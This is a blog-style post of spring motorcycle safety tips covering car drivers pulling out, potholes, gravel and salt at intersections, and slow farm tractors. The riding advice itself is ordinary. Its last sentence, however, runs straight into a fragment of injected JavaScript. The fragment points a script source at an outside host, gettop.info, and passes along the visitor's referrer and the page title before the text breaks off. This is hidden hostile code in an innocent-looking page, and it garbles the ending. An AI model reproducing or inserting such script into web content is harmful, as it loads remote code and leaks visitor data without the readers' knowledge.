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Spring Riding Season

Riding season is finally here…for some of us.  Some of us aren’t afraid of the salty roads nor a little chill in the air.  However before heading out on the open road, there are a few things to watch out for.

The most dangerous of course is the cars.  They aren’t used to seeing motorcycles on the road after the long winter.  Cars will be entering your path from intersections, parking lots & driveways.  One tactic you can use to help avoid a collision is to watch their front tire.  If the car is stopped and the front tire starts to roll, you know they’re going to pull out.  The direction which the car tire is pointing will also give away their intended direction of travel.  Watching the front tire may give you that extra second you need to maneuver.

Potholes are plentiful this time of year.  We should do our best to avoid them as they can damage tires, rims, forks and our backs.  Give yourself extra cushion between you and the vehicle in front of you.  If you’re riding alone and behind a car, stay in the left track.  Drivers rarely run over potholes on the driver side.  If you’re riding in a group, be sure to point out potholes to the riders behind you, as their field of view and reaction time are diminished.

There are also accumulations of gravel and salt at intersections, turns & shoulders.  Riding over these accumulations can cause your bike to become loose resulting in a crash.  Be sure to ease off the throttle, stay off the brake and keep the bike as vertical as possible.

It’s also planting season.  This means mud & fertilizer covered roadways and slow moving farm vehicles.  You may be tempted to pass that tractor, but the best course of action is to be patient & wait.  Tractors usually aren’t equipped with turn signals.  You can’t be certain which field the farmer will be turning into…right or left.  It’s best to sacrifice a mile of your ride and patiently follow at a safe distance.  Cut him/her some slack…they’re helping to put food on your table.

Most of all have fun.  It’s been a long winter, so enjoy the sun on your face and the breeze on your knees.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {

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